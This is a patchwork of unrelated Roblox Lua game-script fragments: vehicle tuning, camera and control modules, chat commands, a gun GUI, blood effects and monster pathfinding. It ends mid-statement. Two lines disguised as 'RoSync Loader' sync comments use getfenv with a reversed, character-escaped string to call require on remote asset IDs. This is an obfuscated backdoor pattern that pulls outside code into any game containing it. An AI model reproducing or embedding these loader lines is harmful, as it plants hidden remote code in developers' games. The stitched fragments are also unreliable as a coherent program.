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-- Main loop
spawn(function() while wait(cooldown) do if check_movement() then footstepsSound.SoundId = get_material() footstepsSound.Parent = nil footstepsSound.Parent = rootPart end end end)
--[[ Last synced 7/21/2021 01:47 RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
-- Thourough check to see if a character is sitting
local function amISitting(character) local t = character.Torso for _, part in pairs(t:GetConnectedParts(true)) do if part:IsA("Seat") then return true end end end
--edit the function below to return true when you want this response/prompt to be valid --player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
return function(player, dialogueFolder) local NumOfSupers = #require(game.ReplicatedStorage.Source.Modules.CharacterScripts.Classes.ClassInformation):GetObtainedSupers(player) local plrData = require(game.ReplicatedStorage.Source.Modules.Util):GetPlayerData(player) return NumOfSupers < 2 and plrData.Classes.Super.Mage.Obtained.Value ~= true end
--// INITIAL CHECK \\----------------------------------------------- -- we are checking to see if they've locked first person view
if (game:GetService("StarterPlayer").CameraMode == Enum.CameraMode.LockFirstPerson) or (game:GetService("StarterPlayer").CameraMaxZoomDistance <= 0.5) then enableviewmodel() -- theyve locked first person, so enable viewmodel from the start end
--[[ @class ServerMain ]]
local ServerScriptService = game:GetService("ServerScriptService") local loader = ServerScriptService.ClashOfCrayons:FindFirstChild("LoaderUtils", true).Parent local packages = require(loader).bootstrapGame(ServerScriptService.ClashOfCrayons) local serviceBag = require(packages.ServiceBag).new()
--[[ Last synced 10/14/2020 09:39 || RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
--Rear Suspension
Tune.RSusDamping = 500 -- Spring Dampening Tune.RSusStiffness = 9000 -- Spring Force Tune.FAntiRoll = 50 -- Anti-Roll (Gyro Dampening) Tune.RSusLength = 2 -- Suspension length (in studs) Tune.RPreCompress = .3 -- Pre-compression adds resting length force Tune.RExtensionLim = .3 -- Max Extension Travel (in studs) Tune.RCompressLim = .30 -- Max Compression Travel (in studs) Tune.RSusAngle = 80 -- Suspension Angle (degrees from horizontal) Tune.RWsBoneLen = 5 -- Wishbone Length Tune.RWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal) Tune.RAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel) --[[Lateral]] -.4 , -- positive = outward --[[Vertical]] -.5 , -- positive = upward --[[Forward]] 0 } -- positive = forward
--v.SGUI.Identifier.Text = Stats.Plate.Value
v.SGUI.Identifier.Text = Stats:WaitForChild("Plate").Value end end function ToogleLock(status) for i,v in pairs(Car:GetDescendants()) do if v.ClassName == "VehicleSeat" or v.ClassName == "Seat" then v.Disabled = status end end end
--[[ Logging ]]
spawn(function() while true do debug.profilebegin("RBR1 process queue") Log.ProcessQueue('http://localhost:9900') debug.profileend() wait(1) end end)
--Creates a remote event.
function RemoteEventCreator:CreateRemoteEvent(Name) --Warn if an item with that name exists. if Tool:FindFirstChild(Name) then warn("Conflicting item "..Name.." exists in "..Tool:GetFullName()) end --Create and return the remote event. local RemoteEvent = Instance.new("RemoteEvent") RemoteEvent.Name = Name RemoteEvent.Parent = Tool return RemoteEvent end
-- Variables (best not to touch these!)
local button = script.Parent .Parent.Parent local car = script.Parent.Parent.Parent.Parent.Car.Value local sound = script.Parent.Parent.Start local st = script.Parent.Parent.Stall st.Parent = car.DriveSeat sound.Parent = car.DriveSeat -- What brick the start sound is playing from. button.MouseButton1Click:connect(function() -- Event when the button is clicked if script.Parent.Parent.Parent.Text == "Engine: Off" then -- If the text says it's off then.. sound:Play() -- Startup sound plays.. wait(.6) -- I don't know what to put for this script.Parent.Parent.Parent.Parent.IsOn.Value = true -- The car is is on, or in other words, start up the car. button.Text = "Engine: On" -- You don't really need this, but I would keep it. else -- If it's on then when you click the button, st:play() script.Parent.Parent.Parent.Parent.IsOn.Value = false -- The car is turned off. button.Text = "Engine: Off" end -- Don't touch this. end) -- And don't touch this either.
-- Choose current Touch control module based on settings (user, dev) -- Returns module (possibly nil) and success code to differentiate returning nil due to error vs Scriptable
function ControlModule:SelectTouchModule() if not UserInputService.TouchEnabled then return nil, false end local touchModule local DevMovementMode = Players.LocalPlayer.DevTouchMovementMode if DevMovementMode == Enum.DevTouchMovementMode.UserChoice then touchModule = movementEnumToModuleMap[UserGameSettings.TouchMovementMode] elseif DevMovementMode == Enum.DevTouchMovementMode.Scriptable then return nil, true else touchModule = movementEnumToModuleMap[DevMovementMode] end return touchModule, true end local function calculateRawMoveVector(humanoid, cameraRelativeMoveVector) local camera = Workspace.CurrentCamera if not camera then return cameraRelativeMoveVector end if humanoid:GetState() == Enum.HumanoidStateType.Swimming then return camera.CFrame:VectorToWorldSpace(cameraRelativeMoveVector) end local c, s local _, _, _, R00, R01, R02, _, _, R12, _, _, R22 = camera.CFrame:GetComponents() if R12 < 1 and R12 > -1 then -- X and Z components from back vector. c = R22 s = R02 else -- In this case the camera is looking straight up or straight down. -- Use X components from right and up vectors. c = R00 s = -R01*math.sign(R12) end local norm = math.sqrt(c*c + s*s) return Vector3.new( (c*cameraRelativeMoveVector.x + s*cameraRelativeMoveVector.z)/norm, 0, (c*cameraRelativeMoveVector.z - s*cameraRelativeMoveVector.x)/norm ) end function ControlModule:OnRenderStepped(dt) if self.activeController and self.activeController.enabled and self.humanoid then -- Give the controller a chance to adjust its state self.activeController:OnRenderStepped(dt) -- Now retrieve info from the controller local moveVector = self.activeController:GetMoveVector() local cameraRelative = self.activeController:IsMoveVectorCameraRelative() local clickToMoveController = self:GetClickToMoveController() if self.activeController ~= clickToMoveController then if moveVector.magnitude > 0 then -- Clean up any developer started MoveTo path clickToMoveController:CleanupPath() else -- Get move vector for developer started MoveTo clickToMoveController:OnRenderStepped(dt) moveVector = clickToMoveController:GetMoveVector() cameraRelative = clickToMoveController:IsMoveVectorCameraRelative() end end -- Are we driving a vehicle ? local vehicleConsumedInput = false if self.vehicleController then moveVector, vehicleConsumedInput = self.vehicleController:Update(moveVector, cameraRelative, self.activeControlModule==Gamepad) end -- If not, move the player -- Verification of vehicleConsumedInput is commented out to preserve legacy behavior, -- in case some game relies on Humanoid.MoveDirection still being set while in a VehicleSeat --if not vehicleConsumedInput then if cameraRelative then moveVector = calculateRawMoveVector(self.humanoid, moveVector) end self.moveFunction(Players.LocalPlayer, moveVector, false) --end -- And make them jump if needed self.humanoid.Jump = self.activeController:GetIsJumping() or (self.touchJumpController and self.touchJumpController:GetIsJumping()) end end function ControlModule:OnHumanoidSeated(active, currentSeatPart) if active then if currentSeatPart and currentSeatPart:IsA("VehicleSeat") then if not self.vehicleController then self.vehicleController = self.vehicleController.new(CONTROL_ACTION_PRIORITY) end self.vehicleController:Enable(true, currentSeatPart) end else if self.vehicleController then self.vehicleController:Enable(false, currentSeatPart) end end end function ControlModule:OnCharacterAdded(char) self.humanoid = char:FindFirstChildOfClass("Humanoid") while not self.humanoid do char.ChildAdded:wait() self.humanoid = char:FindFirstChildOfClass("Humanoid") end if self.touchGui then self.touchGui.Enabled = true end if self.humanoidSeatedConn then self.humanoidSeatedConn:Disconnect() self.humanoidSeatedConn = nil end self.humanoidSeatedConn = self.humanoid.Seated:Connect(function(active, currentSeatPart) self:OnHumanoidSeated(active, currentSeatPart) end) end function ControlModule:OnCharacterRemoving(char) self.humanoid = nil if self.touchGui then self.touchGui.Enabled = false end end
-- update loop
game:GetService("RunService").Heartbeat:Connect(function(dt) for i,v in pairs(workspace:GetDescendants()) do if v.Name == "Head" then if (head.Position - v.Position).Magnitude <= 20 then BP.Position = lookAt(v.Position); local set = springPart.Position; neck.C0 = neckC0 * CFrame.fromEulerAnglesYXZ(set.z*0.5, set.x, 0); waist.C0 = waistC0 * CFrame.fromEulerAnglesYXZ(set.z*0.5, set.y, 0); else BP.Position = lookAt(target.Position); local set = springPart.Position; neck.C0 = neckC0 * CFrame.fromEulerAnglesYXZ(set.z*0.5, set.x, 0); waist.C0 = waistC0 * CFrame.fromEulerAnglesYXZ(set.z*0.5, set.y, 0); end end end end);
--Es canvien els primers dos térmens i l'últim es deixa tal qual.
while true do script.Parent.A.Velocity = script.Parent.A.CFrame.lookVector *script.Parent.Speed.Value script.Parent.AA.Velocity = script.Parent.AA.CFrame.lookVector *script.Parent.Speed.Value
------------------------------------------------------------------------------------
local WaitTime = 10 -- Change this to the amount of time it takes for the button to re-enable. local modelname = "Model" -- If your model is not named this, then make the purple words the same name as the model!
--------------------) Settings
Damage = 0 -- the ammout of health the player or mob will take Cooldown = 0.5 -- cooldown for use of the tool again BoneModelName = "Ultra hand" -- name the zone model HumanoidName = "Humanoid"-- the name of player or mob u want to damage
--game.ReplicatedStorage.Events.NomeSave3.OnServerEvent:Connect(function(player, frame)
--player.Saves.Save3.Value = frame
--////////////////////////////// Include --//////////////////////////////////////
local Chat = game:GetService("Chat") local clientChatModules = Chat:WaitForChild("ClientChatModules") local commandModules = clientChatModules:WaitForChild("CommandModules") local commandUtil = require(commandModules:WaitForChild("Util")) local modulesFolder = script.Parent local ChatSettings = require(clientChatModules:WaitForChild("ChatSettings")) function methods:SetupCommandProcessors() local commands = commandModules:GetChildren() for i = 1, #commands do if commands[i]:IsA("ModuleScript") then if commands[i].Name ~= "Util" then local commandProcessor = require(commands[i]) local processorType = commandProcessor[commandUtil.KEY_COMMAND_PROCESSOR_TYPE] local processorFunction = commandProcessor[commandUtil.KEY_PROCESSOR_FUNCTION] if processorType == commandUtil.IN_PROGRESS_MESSAGE_PROCESSOR then table.insert(self.InProgressMessageProcessors, processorFunction) elseif processorType == commandUtil.COMPLETED_MESSAGE_PROCESSOR then table.insert(self.CompletedMessageProcessors, processorFunction) end end end end end function methods:ProcessCompletedChatMessage(message, ChatWindow) for i = 1, #self.CompletedMessageProcessors do local processedCommand = self.CompletedMessageProcessors[i](message, ChatWindow, ChatSettings) if processedCommand then return true end end return false end function methods:ProcessInProgressChatMessage(message, ChatWindow, ChatBar) for i = 1, #self.InProgressMessageProcessors do local customState = self.InProgressMessageProcessors[i](message, ChatWindow, ChatBar, ChatSettings) if customState then return customState end end return nil end
--[=[ @function freeze @within Array @param array {T} -- The array to freeze. @return {T} -- The frozen array. Freezes the top level of the array, making it read-only. ```lua local array = { 1, 2, 3, { 4, 5, 6 } } local new = Freeze(array) new[1] = 4 -- error! new[4][1] = 7 -- still works! ``` ]=]
local function freeze<T>(array: { T }): { T } local new = Copy(array) table.freeze(new) return new end return freeze
--!strict
local Sift = script.Parent.Parent local Util = require(Sift.Util) local Copy = require(script.Parent.copy) type Callback<T> = (index: number) -> T type Updater<T> = (currentValue: T, index: number) -> T local function call<T>(callback: Callback<T>, index: number) if type(callback) == "function" then return callback(index) end end
--[=[ Interpolates betweeen two numbers, given an percent. The percent is a number in the range that will be used to define how interpolated it is between num0 and num1. ```lua print(Math.lerp(-1000, 1000, 0.75)) --> 500 ``` @param num0 number -- Number @param num1 number -- Second number @param percent number -- The percent @return number -- The interpolated ]=]
function Math.lerp(num0: number, num1: number, percent: number): number return num0 + ((num1 - num0) * percent) end
--[[ Enqueues a callback to be run next render step. ]]
function Scheduler.enqueueCallback(callback: TaskCallback) willUpdate = true callbacks[callback] = true end
------------------------------------------------------------------------------------------------------------------------------------------------------
function Core.error(...) return error('Nexus Framework | ' .. table.concat({...}, ' '), math.huge) end function Core.print(...) return print('Nexus Framework | ' .. table.concat({...}, ' ') .. '\n' .. FormatTraceback(debug.traceback())) end function Core.warn(...) return warn('Nexus Framework | ' .. table.concat({...}, ' ') .. '\n' .. FormatTraceback(debug.traceback())) end function Core.assert(Statement, Message) return assert(Statement, Message .. '\n' .. FormatTraceback(debug.traceback())) end
-- Used to set the Notification Modal's text and behavior when actions are selected
local function getText( state: UserActions.State, action: UserActions.Action, setNotificationText: ((string) -> ())? ): string? -- Prevents notifications from being shown for opening submenus if action.actions then return end -- Handles selection of default subactions if action.isDefault and action.parent then for _, activeAction in ipairs(state.activeActions) do if activeAction.parent and activeAction.parent.name == action.parent.name then if callback then callback() callback = nil end return activeAction.name .. ": Off" end end return end -- Handles when notifications for poses are shown if action.parent and action.parent.name == UserActions.actions.pose.name then local player = Players.LocalPlayer local character = if player then player.Character else nil local humanoid = if character then character:FindFirstChildOfClass("Humanoid") else nil if humanoid then if humanoid.MoveDirection ~= Vector3.zero or isJumping(humanoid) then -- Prevents notification from being shown while player is moving -- and attempting to select a pose return else if callback then callback() callback = nil end callback = Emotes.onNextMove(humanoid, function() -- Shows the notification modal when player moves after -- selecting a pose if setNotificationText then setNotificationText(action.name .. ": Off") end end) end end end return action.name .. ": " .. if UserActions.isActionActive(state, action) then "On" else "Off" end return getText
----- Classes -----
local Bezier = require(script.BezierBase)
----------------- --| Variables |-- -----------------
local DebrisService = game:GetService('Debris') local PlayersService = game:GetService('Players') local Rocket = script.Parent local CreatorTag = Rocket:WaitForChild('creator') local SwooshSound = Rocket:WaitForChild('Swoosh')
--Brakes--
local rb = carSeat.Parent.Parent.RWD local lfb = carSeat.Parent.Parent.LW local rfb = carSeat.Parent.Parent.RW carSeat.MaxSpeed = 0 carSeat.TurnSpeed = 0 carSeat.Torque = 0
-- // Connections
playersService.PlayerAdded:Connect(function(player) player.CharacterAdded:Connect(function(character) local rootPart = character:WaitForChild("HumanoidRootPart") local humanoid = character:WaitForChild("Humanoid") local oldHealth = humanoid.Health local particlesClone = bloodParticles:Clone() particlesClone.Parent = rootPart humanoid.HealthChanged:Connect(function(health) if health < oldHealth then oldHealth = health spawn(function() for i = 1, blood_parts_per_hit do local raycastOrigin = rootPart.Position + Vector3.new(math.random(-20, 20) / 10, 0, math.random(-20, 20) / 10) local raycastDirection = Vector3.new(0, -8, 0) local raycastResult = raycast(character, raycastOrigin, raycastDirection) if raycastResult then particlesClone:Emit(2) delay(0.5, function() local newBlood = createBlood(raycastResult.Position) expandBlood(newBlood) delay(blood_destroy_delay, function() deleteBlood(newBlood) end) end) end wait(math.random(0.5, 2) / 10) end end) else oldHealth = health end end) end) end)
--------------------[ GUI SETUP FUNCTION ]--------------------------------------------
function convertKey(Key) if Key == string.char(8) then return "BKSPCE" elseif Key == string.char(9) then return "TAB" elseif Key == string.char(13) then return "ENTER" elseif Key == string.char(17) then return "UP" elseif Key == string.char(18) then return "DOWN" elseif Key == string.char(19) then return "RIGHT" elseif Key == string.char(20) then return "LEFT" elseif Key == string.char(22) then return "HOME" elseif Key == string.char(23) then return "END" elseif Key == string.char(27) then return "F2" elseif Key == string.char(29) then return "F4" elseif Key == string.char(30) then return "F5" elseif Key == string.char(32) or Key == " " then return "F7" elseif Key == string.char(33) or Key == "!" then return "F8" elseif Key == string.char(34) or Key == '"' then return "F9" elseif Key == string.char(35) or Key == "#" then return "F10" elseif Key == string.char(37) or Key == "%" then return "F12" elseif Key == string.char(47) or Key == "/" then return "R-SHIFT" elseif Key == string.char(48) or Key == "0" then return "L-SHIFT" elseif Key == string.char(49) or Key == "1" then return "R-CTRL" elseif Key == string.char(50) or Key == "2" then return "L-CTRL" elseif Key == string.char(51) or Key == "3" then return "R-ALT" elseif Key == string.char(52) or Key == "4" then return "L-ALT" else return string.upper(Key) end end function createControlFrame(Key, Desc, Num) local C = Instance.new("Frame") C.BackgroundTransparency = ((Num % 2) == 1 and 0.7 or 1) C.BorderSizePixel = 0 C.Name = "C"..Num C.Position = UDim2.new(0, 0, 0, Num * 20) C.Size = UDim2.new(1, 0, 0, 20) C.ZIndex = 10 local K = Instance.new("TextLabel") K.BackgroundTransparency = 1 K.Name = "Key" K.Size = UDim2.new(0, 45, 1, 0) K.ZIndex = 10 K.Font = Enum.Font.ArialBold K.FontSize = Enum.FontSize.Size14 K.Text = Key K.TextColor3 = Color3.new(1, 1, 1) K.TextScaled = (string.len(Key) > 5) K.TextWrapped = (string.len(Key) > 5) K.Parent = C local D = Instance.new("TextLabel") D.BackgroundTransparency = 1 D.Name = "Desc" D.Position = UDim2.new(0, 50, 0, 0) D.Size = UDim2.new(1, -50, 1, 0) D.ZIndex = 10 D.Font = Enum.Font.SourceSansBold D.FontSize = Enum.FontSize.Size14 D.Text = "- "..Desc D.TextColor3 = Color3.new(1, 1, 1) D.TextXAlignment = Enum.TextXAlignment.Left D.Parent = C C.Parent = Controls end function createModes() numModes = 0 for i, v in pairs(S.selectFireSettings.Modes) do if v then numModes = numModes + 1 end end local currentMode = 0 for i, v in pairs(S.selectFireSettings.Modes) do if v then local Frame = Instance.new("Frame") Frame.BackgroundTransparency = 1 Frame.Name = currentMode Frame.Position = UDim2.new() Frame.Size = UDim2.new() Frame.Parent = fireModes local modeLabel = Instance.new("TextLabel") modeLabel.BackgroundTransparency = 1 modeLabel.Name = "Label" modeLabel.Position = UDim2.new(0, -20, 0, 0) modeLabel.Size = UDim2.new(0, 40, 0, 20) modeLabel.Font = Enum.Font.SourceSansBold modeLabel.FontSize = Enum.FontSize.Size18 modeLabel.Text = string.upper(i) modeLabel.TextColor3 = Color3.new(1, 1, 1) modeLabel.TextScaled = true modeLabel.TextStrokeTransparency = 0 modeLabel.TextTransparency = 0.5 modeLabel.TextWrapped = true modeLabel.Parent = Frame table.insert(Modes, string.upper(i)) currentMode = currentMode + 1 end end guiAngOffset = -15 * (numModes ^ 3) + 150 * (numModes ^ 2) - 525 * numModes + 660 end function setUpGUI() local currentNum = 1 for _, v in pairs(Controls:GetChildren()) do if v.Name ~= "Title" then v:Destroy() end end for _, PTable in pairs(Plugins.KeyDown) do createControlFrame(convertKey(PTable.Key), PTable.Description, currentNum) currentNum = currentNum + 1 end if S.canChangeStance then local Dive = (S.dolphinDive and " / Dive" or "") createControlFrame(convertKey(S.Keys.lowerStance), "Lower Stance"..Dive, currentNum) currentNum = currentNum + 1 createControlFrame(convertKey(S.Keys.raiseStance), "Raise Stance", currentNum) currentNum = currentNum + 1 end if S.selectFire then createControlFrame(convertKey(S.Keys.selectFire), "Select Fire", currentNum) currentNum = currentNum + 1 end createControlFrame(convertKey(S.Keys.Reload), "Reload", currentNum) currentNum = currentNum + 1 createControlFrame(convertKey(S.Keys.Sprint), "Sprint", currentNum) currentNum = currentNum + 1 if S.canADS then local Hold = (S.aimSettings.holdToADS and "HOLD " or "") if S.Keys.ADS ~= "" then createControlFrame(Hold..convertKey(S.Keys.ADS).." OR R-MOUSE", "Aim Down Sights", currentNum) else createControlFrame(Hold.." R-MOUSE", "Aim Down Sights", currentNum) end currentNum = currentNum + 1 end Controls.Size = UDim2.new(1, 0, 0, currentNum * 20) Controls.Position = UDim2.new(0, 0, 0, -(currentNum * 20) - 80) if S.guiScope then scopeSteady.Text = "Hold "..convertKey(S.Keys.scopeSteady).." to Steady" end if mainGUI:FindFirstChild("Co") then mainGUI.Co:Destroy() end local Co = Instance.new("TextLabel") Co.BackgroundTransparency = 1 Co.Name = "Co" Co.Visible = true Co.Position = UDim2.new(0, 0, 0, 0) Co.Size = UDim2.new(1, 0, 0, 20) Co.Font = Enum.Font.ArialBold Co.FontSize = Enum.FontSize.Size14 Co.Text = ("~ 125rednaX & tEhYuM yb ekameR // noisuFobruT yb tiK ~"):reverse() Co.TextColor3 = Color3.new(1, 1, 1) Co.TextStrokeColor3 = Color3.new(1, 1, 1) Co.TextStrokeTransparency = 0.9 Co.TextTransparency = 0.9 Co.TextXAlignment = Enum.TextXAlignment.Center Co.Parent = mainGUI gunNameTitle.Text = Gun.Name updateClipAmmo() updateStoredAmmo() fireModes:ClearAllChildren() createModes() updateModeLabels(numModes - 1, 0, 90) if S.selectFire then modeGUI.Text = Modes[((rawFireMode - 1) % numModes) + 1] else modeGUI.Text = ( S.gunType.Semi and "SEMI" or S.gunType.Auto and "AUTO" or S.gunType.Burst and "BURST" or "SAFETY" ) end end
-- создание трассы
local rnd=Random.new() local function Rebuild() -- пересоздание мира for i=0, PartWorld - 1 do local index = rnd:NextInteger(1,#models) -- случайная моделька local model = models[index]:Clone() -- берём клон local posit = CFrame.new(0,0,-180*i) -- расчёт позиции model:SetPrimaryPartCFrame(posit) -- размещение model.Parent = game.Workspace.GameZone -- привязка к пространству end end
--!nonstrict --[[ VRBaseCamera - Base class for VR camera 2021 Roblox VR --]]
-- print("Distance from "..character.Name.." = "..distance)
if distance <= 2*radius then torso.Velocity = (torso.Position - position).unit * 100; human:takeDamage(100-(distance-radius)*(100/radius)) -- If player died
--[[ Services ]]
-- local PlayersService = game:GetService("Players") local ContextActionService = game:GetService("ContextActionService") local Settings = UserSettings() -- ignore warning local GameSettings = Settings.GameSettings local Mouse = PlayersService.LocalPlayer:GetMouse()
-- double rd_dbl_be(string src, int s) -- @src - Source binary string -- @s - Start index of big endian double
local function rd_dbl_be(src, s) local f1, f2, f3, f4, f5, f6, f7, f8 = src:byte(s, s + 7) -- same return rd_dbl_basic(f8, f7, f6, f5, f4, f3, f2, f1) end
-- all configurations can be found in the "configurations" model
local configs = script.Parent.Parent.Configurations script.Parent.Touched:connect(function(hit) -- this is the main function that is called whenever the fire is touched if hit and hit.Parent and hit.Parent:FindFirstChild("Humanoid") and hit.Parent.Humanoid.Health > 0 then -- if we have a player or an AI then if configs.CanKill.Value == true and configs.CanCatchFire.Value == true then -- if the fire sets players alight and gives them damamge then local fire = script.Parent.Parent.FirePart.Fire:Clone() -- gatting some fire fire.Parent = hit -- putting the fire in the part of the person that touched the fire fire.Size = configs.FireSize.Value for i = 1, configs.FireDuration.Value do -- this deals with giving damamge to the player if hit and hit.Parent and hit.Parent:FindFirstChild("Humanoid") and hit.Parent.Humanoid.Health > 0 then hit.Parent.Humanoid.Health = hit.Parent.Humanoid.Health - 1 -- reduce health wait(configs.HarmSpeed.Value) -- this is the time between giving damamge to the player end end if fire and hit then -- removing unneeded fire fire:Destroy() end elseif configs.CanKill.Value == true then -- else if we can only kill hit.Parent:BreakJoints() -- kill instantly elseif configs.CanCatchFire.Value == true then -- else if we can only set alight local fire = script.Parent.Parent.FirePart.Fire:Clone() -- getting some fire fire.Parent = hit -- making its parent the part that touched the fire fire.Size = configs.FireSize.Value wait(configs.FireDuration.Value) -- waiting before removing fire fire:Destroy() -- removing fire end end end)
-- free faces
["Smile"] = { free = true, id = "rbxassetid://144080495", legacy = true, image = "https://www.roblox.com/asset-thumbnail/image?assetId=144080495&width=420&height=420&format=png" }, ["Cunning"] = { free = true, id = "rbxassetid://21635489", legacy = true, image = "https://www.roblox.com/asset-thumbnail/image?assetId=21635489&width=420&height=420&format=png" }, ["Laughing"] = { free = true, id = "rbxassetid://26424652", legacy = true, image = "https://www.roblox.com/asset-thumbnail/image?assetId=26424652&width=420&height=420&format=png" }, ["Chill"] = { free = true, id = "rbxassetid://7074749", legacy = true, image = "https://www.roblox.com/asset-thumbnail/image?assetId=7074749&width=420&height=420&format=png" }, ["Unamused"] = { free = true, id = "rbxassetid://20418518", legacy = true, image = "https://www.roblox.com/asset-thumbnail/image?assetId=20418518&width=420&height=420&format=png" }, ["Freckles"] = { free = true, id = "rbxassetid://12145059", legacy = true, image = "https://www.roblox.com/asset-thumbnail/image?assetId=12145059&width=420&height=420&format=png" }, ["Beardy"] = { free = true, id = "rbxassetid://110287880", legacy = true, image = "https://www.roblox.com/asset-thumbnail/image?assetId=110287880&width=420&height=420&format=png" }, } return module
-- parent attachments to Terrain
beam.Parent = workspace.Terrain attachment0.Parent = workspace.Terrain attachment1.Parent = workspace.Terrain
--/Recoil Modification
module.camRecoil = { RecoilUp = .9 ,RecoilTilt = 1 ,RecoilLeft = 1.05 ,RecoilRight = 1.05 } module.gunRecoil = { RecoilUp = .9 ,RecoilTilt = 1 ,RecoilLeft = 1.1 ,RecoilRight = 1.1 } module.AimRecoilReduction = 1 module.AimSpreadReduction = 1 module.MinRecoilPower = 1 module.MaxRecoilPower = 1 module.RecoilPowerStepAmount = 1 module.MinSpread = 1 module.MaxSpread = 1 module.AimInaccuracyStepAmount = 1 module.AimInaccuracyDecrease = 1 module.WalkMult = 1 module.MuzzleVelocityMod = 1 return module
-- KEY VARIABLES --
local Z = false local X = false
-- Variables
local player = game.Players.LocalPlayer local humanoid = player.Character:WaitForChild("Humanoid")
-- declarations
local toolAnim = "None" local toolAnimTime = 0 local jumpAnimTime = 0 local jumpAnimDuration = 0.3 local toolTransitionTime = 0.1 local fallTransitionTime = 0.3
--[=[ Cancels this promise, preventing the promise from resolving or rejecting. Does not do anything if the promise is already settled. Cancellations will propagate upwards and downwards through chained promises. Promises will only be cancelled if all of their consumers are also cancelled. This is to say that if you call `andThen` twice on the same promise, and you cancel only one of the child promises, it will not cancel the parent promise until the other child promise is also cancelled. ```lua promise:cancel() ``` ]=]
function Promise.prototype:cancel() if self._status ~= Promise.Status.Started then return end self._status = Promise.Status.Cancelled if self._cancellationHook then self._cancellationHook() end if self._parent then self._parent:_consumerCancelled(self) end for child in pairs(self._consumers) do child:cancel() end self:_finalize() end
--Light off
src.Strobe.Value.Value = 1 src.Strobe1.Value.Value = 1 src.Speaker.Siren:Play() light.Value = false else src.Strobe.Value.Value = 0 src.Strobe1.Value.Value = 0 src.Speaker.Siren:Stop() light.Value = true return end end end) src.Parent.ChildRemoved:connect(function(child) if child.Name=="SeatWeld" then src:Stop() script.Parent:Destroy() end end)
--!nonstrict --[[ Invisicam - Occlusion module that makes objects occluding character view semi-transparent 2018 Camera Update - AllYourBlox --]]
-- Player
local Plr = game.Players.LocalPlayer Plr.CharacterAdded:Wait()
------------------------------- --Functions -------------------------------
function CreateMotor() PARENTMODEL.Motors.MotorBlock1.Anchored = false local motor = Instance.new("Motor") motor.Parent = PARENTMODEL.Motors motor.Part0, motor.Part1, motor.MaxVelocity = PARENTMODEL.Motors.MotorBlock0, PARENTMODEL.Motors.MotorBlock1, 0.01 end function WeldToObject(group, obj) for _, v in pairs(group) do local weld = Instance.new("WeldConstraint") weld.Parent, weld.Name = v, "Weld" weld.Part0, weld.Part1 = v, obj v.Anchored = false end end function MoveGate() if OPEN == false then PARENTMODEL.Motors.Motor.DesiredAngle, OPEN = math.rad(-OPENINGANGLE), true else PARENTMODEL.Motors.Motor.DesiredAngle, OPEN = 0, false end end
-- getfenv(moduleFunction).require = _requireOverride -- getfenv(moduleFunction).delay = fakeTimers.delayOverride -- getfenv(moduleFunction).tick = fakeTimers.tickOverride -- getfenv(moduleFunction).DateTime = fakeTimers.dateTimeOverride -- getfenv(moduleFunction).os = fakeTimers.osOverride -- moduleResult = moduleFunction()
-- --
local Monster = {} -- Create the monster class function Monster:GetCFrame() -- Returns the CFrame of the monster's humanoidrootpart local humanoidRootPart = Self:FindFirstChild('HumanoidRootPart') if humanoidRootPart ~= nil and humanoidRootPart:IsA('BasePart') then return humanoidRootPart.CFrame else return CFrame.new() end end function Monster:GetMaximumDetectionDistance() -- Returns the maximum detection distance local setting = Settings.MaximumDetectionDistance.Value if setting < 0 then return math.huge else return setting end end function Monster:SearchForTarget() -- Finds the closest player and sets the target local players = Info.Players:GetPlayers() local closestCharacter, closestCharacterDistance for i=1, #players do local player = players[i] if player.Neutral or player.TeamColor ~= Settings.FriendlyTeam.Value then local character = player.Character if character ~= nil and character:FindFirstChild('Humanoid') ~= nil and character.Humanoid:IsA('Humanoid') then local distance = player:DistanceFromCharacter(Monster:GetCFrame().p) if distance < Monster:GetMaximumDetectionDistance() then if closestCharacter == nil then closestCharacter, closestCharacterDistance = character, distance else if closestCharacterDistance > distance then closestCharacter, closestCharacterDistance = character, distance end end end end end end if closestCharacter ~= nil then Mind.CurrentTargetHumanoid.Value = closestCharacter.Humanoid end end function Monster:TryRecomputePath() if Data.AutoRecompute or tick() - Data.LastRecomputePath > 1/Info.RecomputePathFrequency then Monster:RecomputePath() end end function Monster:GetTargetCFrame() local targetHumanoid = Mind.CurrentTargetHumanoid.Value if Monster:TargetIsValid() then return targetHumanoid.Torso.CFrame else return CFrame.new() end end function Monster:IsAlive() return Self.Humanoid.Health > 0 and Self.Humanoid.Torso ~= nil end function Monster:TargetIsValid() local targetHumanoid = Mind.CurrentTargetHumanoid.Value if targetHumanoid ~= nil and targetHumanoid:IsA 'Humanoid' and targetHumanoid.Torso ~= nil and targetHumanoid.Torso:IsA 'BasePart' then return true else return false end end function Monster:HasClearLineOfSight() -- Going to cast a ray to see if I can just see my target local myPos, targetPos = Monster:GetCFrame().p, Monster:GetTargetCFrame().p local hit, pos = Workspace:FindPartOnRayWithIgnoreList( Ray.new( myPos, targetPos - myPos ), { Self, Mind.CurrentTargetHumanoid.Value.Parent } ) if hit == nil then return true else return false end end function Monster:RecomputePath() if not Data.Recomputing then if Monster:IsAlive() and Monster:TargetIsValid() then if Monster:HasClearLineOfSight() then Data.AutoRecompute = true Data.PathCoords = { Monster:GetCFrame().p, Monster:GetTargetCFrame().p } Data.LastRecomputePath = tick() Data.CurrentNode = nil Data.CurrentNodeIndex = 2 -- Starts chasing the target without evaluating its current position else -- Do pathfinding since you can't walk straight Data.Recomputing = true -- Basically a debounce. Data.AutoRecompute = false local path = Info.PathfindingService:ComputeSmoothPathAsync( Monster:GetCFrame().p, Monster:GetTargetCFrame().p, 500 ) Data.PathCoords = path:GetPointCoordinates() Data.Recomputing = false Data.LastRecomputePath = tick() Data.CurrentNode = nil Data.CurrentNodeIndex = 1 end end end end function Monster:Update() Monster:ReevaluateTarget() Monster:SearchForTarget() Monster:TryRecomputePath() Monster:TravelPath() end function Monster:TravelPath() local closest, closestDistance, closestIndex local myPosition = Monster:GetCFrame().p local skipCurrentNode = Data.CurrentNode ~= nil and (Data.CurrentNode - myPosition).magnitude < 3 for i=Data.CurrentNodeIndex, #Data.PathCoords do local coord = Data.PathCoords[i] if not (skipCurrentNode and coord == Data.CurrentNode) then local distance = (coord - myPosition).magnitude if closest == nil then closest, closestDistance, closestIndex = coord, distance, i else if distance < closestDistance then closest, closestDistance, closestIndex = coord, distance, i else break end end end end -- if closest ~= nil then Data.CurrentNode = closest Data.CurrentNodeIndex = 